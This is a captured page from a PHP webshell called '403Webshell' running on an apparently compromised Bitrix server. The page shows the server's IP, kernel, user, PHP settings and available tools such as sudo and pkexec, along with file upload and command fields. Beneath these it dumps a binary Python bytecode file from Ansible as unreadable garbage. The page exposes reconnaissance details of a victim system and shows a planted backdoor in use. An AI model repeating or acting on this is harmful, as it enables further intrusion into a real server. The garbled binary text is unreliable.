403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/cli/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/cli/__pycache__/adhoc.cpython-311.opt-1.pyc
�

���c& ���ddlmZmZmZeZddlmZddlm	Z
ddlmZddlm
ZddlmZmZmZddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lm Z e ��Z!Gd�de��Z"dd�Z#e$dkre#��dSdS)�)�absolute_import�division�print_function)�CLI)�	constants)�context)�option_helpers)�AnsibleError�AnsibleOptionsError�AnsibleParserError)�TaskQueueManager)�to_text)�parse_kv)�	from_yaml)�Playbook)�Play)�Displayc�@��eZdZdZdZ�fd�Z�fd�Zd�Z�fd�Z�xZ	S)�AdHocCLIz� is an extra-simple tool/framework/API for doing 'remote things'.
        this command allows you to define and run a single task 'playbook' against a set of hosts
    �ansiblec���tt|���ddd���tj|j��tj|j��tj|j��tj|j��tj	|j��tj
|j��tj|j��tj|j��tj
|j��tj|j��tj|j��tj|j��|j�ddddt$j�	��|j�d
ddd
t$jzt$j�	��|j�ddd���dS)z* create an options parser for bin/ansible z%prog <host-pattern> [options]z>Define and run a single task 'playbook' against a set of hostsz=Some actions do not make sense in Ad-Hoc (include, meta, etc))�usage�desc�epilogz-az--args�module_argsz�The action's options in space separated k=v format: -a 'opt1=val1 opt2=val2' or a json string: -a '{"opt1": "val1", "opt2": "val2"}')�dest�help�defaultz-mz
--module-name�module_namez*Name of the action to execute (default=%s)�args�patternzhost pattern)�metavarrN)�superr�init_parser�opt_help�add_runas_options�parser�add_inventory_options�add_async_options�add_output_options�add_connect_options�add_check_options�add_runtask_options�add_vault_options�add_fork_options�add_module_options�add_basedir_options�add_tasknoplay_options�add_argument�C�DEFAULT_MODULE_ARGS�DEFAULT_MODULE_NAME)�self�	__class__s ��6/usr/lib/python3.11/site-packages/ansible/cli/adhoc.pyr$zAdHocCLI.init_parser"s����
�h����)�)�0P�/o�1p�	*�	r�	r�	r�	�"�4�;�/�/�/��&�t�{�3�3�3��"�4�;�/�/�/��#�D�K�0�0�0��$�T�[�1�1�1��"�4�;�/�/�/��$�T�[�1�1�1��"�4�;�/�/�/��!�$�+�.�.�.��#�D�K�0�0�0��$�T�[�1�1�1��'���4�4�4�	
�� � ��x�m�'h�)*�)>�	!�	@�	@�	@�	
�� � ���]�&R�UV�Uj�&j�)*�)>�	!�	@�	@�	@�	
�� � ���� �P�P�P�P�P�c���tt|���|��}|jt_|�|dd���|S)z2Post process and validate options for bin/ansible T)�
runas_opts�	fork_opts)r#r�post_process_args�	verbosity�display�validate_conflicts)r7�optionsr8s  �r9r>zAdHocCLI.post_process_args?sM�����$�'�'�9�9�'�B�B��#�-�������D�D��I�I�I��r:c�R�tjdtjv}tjd}d}|r_|�d��rJ|�d��r5	t
|���d���}n#t$rYnwxYw|st||���}tjd|d�tjd	d
�}tjdtj
vr(tt||f����r
||d<||d<td
|d|g���S)Nrr�{�}T)�	json_only)�	check_raw)�moduler �task_timeout)�action�timeout�	async_val�pollzAnsible Ad-Hoc�no)�name�hosts�gather_facts�tasks)r�CLIARGSr4�MODULE_REQUIRE_ARGS�
startswith�endswithr�striprr�_ACTION_ALL_INCLUDE_ROLE_TASKS�any�	frozenset�dict)r7r!rLrMrG�module_args_rawr�mytasks        r9�_play_dszAdHocCLI._play_dsIsQ���O�M�2�a�6K�K�	�!�/�-�8�����	��9�9�#�>�>�	�?�C[�C[�\_�C`�C`�	�
�'��(=�(=�(?�(?�4�P�P�P����%�
�
�
���
�����	I�"�?�i�H�H�H�K�'.��}�'E�{�[�[�$�_�^�<�>�>���?�=�)��1Q�Q�Q�VY�Zc�en�pt�du�Zv�Zv�Vw�Vw�Q�"+�F�;��!�F�6�N��!����(�	���	s� #B�
B�Bc���tt|�����ttjdd���}d}d}|���\}}||d�}|���\}}}	|�|tjd|��}n?#t$r2tjdr�g}t�d��YnwxYwtjdrNt�
d	t|��z��|D]}	t�
d
|	z��� dStjdtjvrPtjd
s>dtjdz}
|�d��r|
dz}
t!|
���tjdtjvr"t!dtjdz���|�|tjdtjd��}t'���|||���}t+|��}
|
j�|��d|
_|jr|j}n@tjdrd}n+tjrtjdkr
tj}nd}d}tjdr=tj�d��tjdt_d}d|_	t?|||||tj|tjd���|_|j� ��|j�!d|
��|j�|��}|j�!d |jj"��|jr|j�#��|r|�$��n<#|jr|j�#��|r|�$��wwxYw|S)!z- create and execute the single task playbook r �surrogate_or_strict)�errorsN)�	conn_pass�become_pass�subsetzNo hosts matched, nothing to do�	listhostsz
  hosts (%d):z    %srrrzNo argument passed to %s modulez.ymlz( (did you mean to run ansible-playbook?)z.'%s' is not a valid action for ad-hoc commands�seconds�
poll_interval)�variable_manager�loader�__adhoc_playbook__�one_line�oneliner�minimalF�treeT�forks)�	inventoryrhri�	passwords�stdout_callback�run_additional_callbacks�run_treero�v2_playbook_on_start�v2_playbook_on_stats)%r#r�runrrrS�
ask_passwords�
_play_prereqs�
get_host_listr
r@�warning�lenr4rTrVr�_ACTION_IMPORT_PLAYBOOKr^r�loadr�_entries�append�
_file_name�callback�DEFAULT_LOAD_CALLBACK_PLUGINS�DEFAULT_STDOUT_CALLBACK�CALLBACKS_ENABLED�TREE_DIR�_tqmr
�load_callbacks�
send_callback�_stats�cleanup�cleanup_all_tmp_files)r7r!�sshpass�
becomepassrqrirprhrP�host�err�play_ds�play�playbook�cbrt�resultr8s                 �r9rwzAdHocCLI.runes&���	�h����!�!�#�#�#��'�/�&�1�:O�P�P�P�����
� $� 2� 2� 4� 4���*�")�*�E�E�	�/3�.@�.@�.B�.B�+��	�+�	C��&�&�y�'�/�(�2K�W�U�U�E�E���	C�	C�	C���x�(�
C������� A�B�B�B�B�B�	C�����?�;�'�	��O�O�O�c�%�j�j�8�9�9�9��
1�
1������4��0�0�0�0��1��?�=�)�Q�-B�B�B�7�?�[h�Ki�B�3�g�o�m�6T�T�C�����'�'�
G��F�F��%�c�*�*�*��?�=�)�Q�-F�F�F�%�&V�(/��
�(F�'G�H�H�
H��-�-�����)C�W�_�Ud�Ee�f�f���v�v�{�{�7�5E�f�{�U�U���F�#�#���� � ��&�&�&�2����=�	���B�B�
�_�Z�
(�	��B�B�
�
,�	��1J�i�1W�1W��*�B�B��B����?�6�"�	�
��&�&�v�.�.�.� ���0�A�J��H���	�	/�(�#�!1��#� "�)*�)H�!��o�g�.�	�	�	�D�I�
�I�$�$�&�&�&��I�#�#�$:�H�E�E�E��Y�]�]�4�(�(�F��I�#�#�$:�D�I�<L�M�M�M��y�
$��	�!�!�#�#�#��
/��,�,�.�.�.����y�
$��	�!�!�#�#�#��
/��,�,�.�.�.�.�
/�����
s�'B+�+9C'�&C'�+B)P�9Q)
�__name__�
__module__�__qualname__�__doc__rOr$r>r^rw�
__classcell__)r8s@r9rrs�����������D�Q�Q�Q�Q�Q�:��������8b�b�b�b�b�b�b�b�br:rNc�:�t�|��dS�N)r�cli_executor)r s r9�mainr��s�����$�����r:�__main__r�)%�
__future__rrr�type�
__metaclass__�ansible.clirrrr4r�ansible.cli.argumentsr	r%�ansible.errorsr
rr�#ansible.executor.task_queue_managerr
�ansible.module_utils._textr�ansible.parsing.splitterr�ansible.parsing.utils.yamlr�ansible.playbookr�ansible.playbook.playr�ansible.utils.displayrr@rr�r��r:r9�<module>r�s���C�B�B�B�B�B�B�B�B�B��
�������"�"�"�"�"�"�������<�<�<�<�<�<�P�P�P�P�P�P�P�P�P�P�@�@�@�@�@�@�.�.�.�.�.�.�-�-�-�-�-�-�0�0�0�0�0�0�%�%�%�%�%�%�&�&�&�&�&�&�)�)�)�)�)�)�
�'�)�)��l�l�l�l�l�s�l�l�l�^ � � � ��z����D�F�F�F�F�F��r:

Youez - 2016 - github.com/yon3zu
LinuXploit